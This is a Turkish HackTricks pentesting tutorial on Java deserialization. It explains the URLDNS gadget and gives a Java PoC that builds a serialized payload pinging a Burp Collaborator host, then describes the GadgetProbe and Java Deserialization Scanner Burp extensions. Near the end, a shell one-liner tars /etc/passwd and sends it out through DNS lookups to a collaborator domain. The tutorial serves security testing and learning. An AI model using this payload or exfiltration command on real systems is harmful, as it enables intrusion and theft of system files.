12 KiB
Java DNS Deserialization, GadgetProbe ve Java Deserialization Scanner
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Deserialization'da DNS isteği
java.net.URL
sınıfı Serializable
'ı uygular, bu da bu sınıfın serileştirilebileceği anlamına gelir.
public final class URL implements java.io.Serializable {
Bu sınıfın meraklı bir davranışı var. Belgede: “İki ana bilgisayar, her iki ana bilgisayar adı da aynı IP adreslerine çözümlenebiliyorsa eşdeğer kabul edilir.”
Bu nedenle, bir URL nesnesi equals
veya hashCode
fonksiyonlarından herhangi birini çağırdığında, IP adresini almak için bir DNS isteği gönderilecektir.
Bir URL nesnesinden hashCode
fonksiyonunu çağırmak oldukça kolaydır, bu nesneyi deseralize edilecek bir HashMap
içine yerleştirmek yeterlidir. Bunun nedeni, HashMap
'in readObject
fonksiyonunun sonunda bu kodun çalıştırılmasıdır:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Bu, HashMap
içindeki her değerle putVal
'ı çalıştıracak. Ancak, daha önemli olan her değerle hash
çağrısıdır. İşte hash
fonksiyonunun kodu:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Gözlemleyebileceğiniz gibi, deserialization sırasında bir HashMap
için hash
fonksiyonu her nesne ile birlikte çalıştırılacak ve hash
çalıştırılması sırasında nesnenin .hashCode()
çalıştırılacak. Bu nedenle, eğer bir HashMap
içinde bir URL nesnesi deserialization ederseniz, URL nesnesi .hashCode()
çalıştıracaktır.
Şimdi URLObject.hashCode()
koduna bir göz atalım:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Aşağıda görebileceğiniz gibi, bir URLObject
.hashCode()
çalıştırdığında hashCode(this)
olarak çağrılır. Devamında bu fonksiyonun kodunu görebilirsiniz:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Bir getHostAddress
'in domaine uygulandığını görebilirsiniz, bir DNS sorgusu başlatıyor.
Bu nedenle, bu sınıf istismar edilebilir ve deserialization'ın mümkün olduğunu göstermek veya hatta bilgi sızdırmak için bir DNS sorgusu başlatmak amacıyla kullanılabilir (bir komut yürütme çıktısını alt alan adı olarak ekleyebilirsiniz).
URLDNS yük kodu örneği
URDNS yük kodunu ysoserial'den burada bulabilirsiniz. Ancak, kodlamayı anlamayı kolaylaştırmak için kendi PoC'mi oluşturdum (ysoserial'den alınan birine dayalı):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Daha fazla bilgi
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- Orijinal fikirde commons collections yükü, bir DNS sorgusu gerçekleştirmek için değiştirildi, bu önerilen yöntemden daha az güvenilir, ancak bu gönderi: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
GadgetProbe Burp Suite Uygulama Mağazası'ndan (Extender) indirilebilir.
GadgetProbe, sunucunun Java sınıfında bazı Java sınıflarının var olup olmadığını anlamaya çalışacak, böylece eğer bilinen bir istismara duyarlı olup olmadığını bilebilirsiniz.
Nasıl çalışır
GadgetProbe, önceki bölümün aynı DNS yükünü kullanacak, ancak DNS sorgusunu çalıştırmadan önce rastgele bir sınıfı deseralize etmeye çalışacak. Eğer rastgele sınıf mevcutsa, DNS sorgusu gönderilecek ve GadgetProbe bu sınıfın mevcut olduğunu not edecektir. Eğer DNS isteği asla gönderilmezse, bu, rastgele sınıfın başarıyla deseralize edilmediği anlamına gelir, yani ya mevcut değildir ya da serileştirilebilir/istismar edilebilir değildir.
GitHub içinde, GadgetProbe bazı kelime listelerine sahiptir ve Java sınıflarının test edilmesi için kullanılabilir.
Daha Fazla Bilgi
Java Deserialization Tarayıcı
Bu tarayıcı Burp Uygulama Mağazası'ndan (Extender) indirilebilir.
Eklenti, pasif ve aktif yeteneklere sahiptir.
Pasif
Varsayılan olarak, Java serileştirilmiş sihirli baytları aramak için gönderilen tüm istekleri ve yanıtları pasif olarak kontrol eder ve herhangi bir bulursa bir güvenlik açığı uyarısı sunar:
Aktif
Manuel Test
Bir isteği seçebilir, sağ tıklayıp DS'ye istek gönder - Manuel Test
seçeneğini tıklayabilirsiniz.
Ardından, Deserialization Tarayıcı Sekmesi --> Manuel test sekmesi içinde ekleme noktasını seçebilirsiniz. Ve testi başlatın (Kullanılan kodlamaya bağlı olarak uygun saldırıyı seçin).
Bu "Manuel test" olarak adlandırılsa da, oldukça otomatikleştirilmiştir. Deserialization'ın herhangi bir ysoserial yüküne duyarlı olup olmadığını kontrol edecek ve web sunucusunda mevcut olan kütüphaneleri kontrol ederek duyarlı olanları vurgulayacaktır. Duyarlı kütüphaneleri kontrol etmek için Java Sleeps, CPU tüketimi yoluyla sleeps veya daha önce bahsedildiği gibi DNS kullanarak başlatmayı seçebilirsiniz.
İstismar
Duyarlı bir kütüphaneyi tanımladıktan sonra isteği İstismar Sekmesine gönderebilirsiniz.
Bu sekmede, enjekte etme noktasını tekrar seçmeniz, oluşturmak istediğiniz duyarlı kütüphaneyi ve komutu yazmanız gerekir. Ardından, uygun Saldırı butonuna basın.
Java Deserialization DNS Exfil bilgisi
Yükünüzü aşağıdakine benzer bir şey çalıştıracak şekilde yapın:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Daha Fazla Bilgi
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.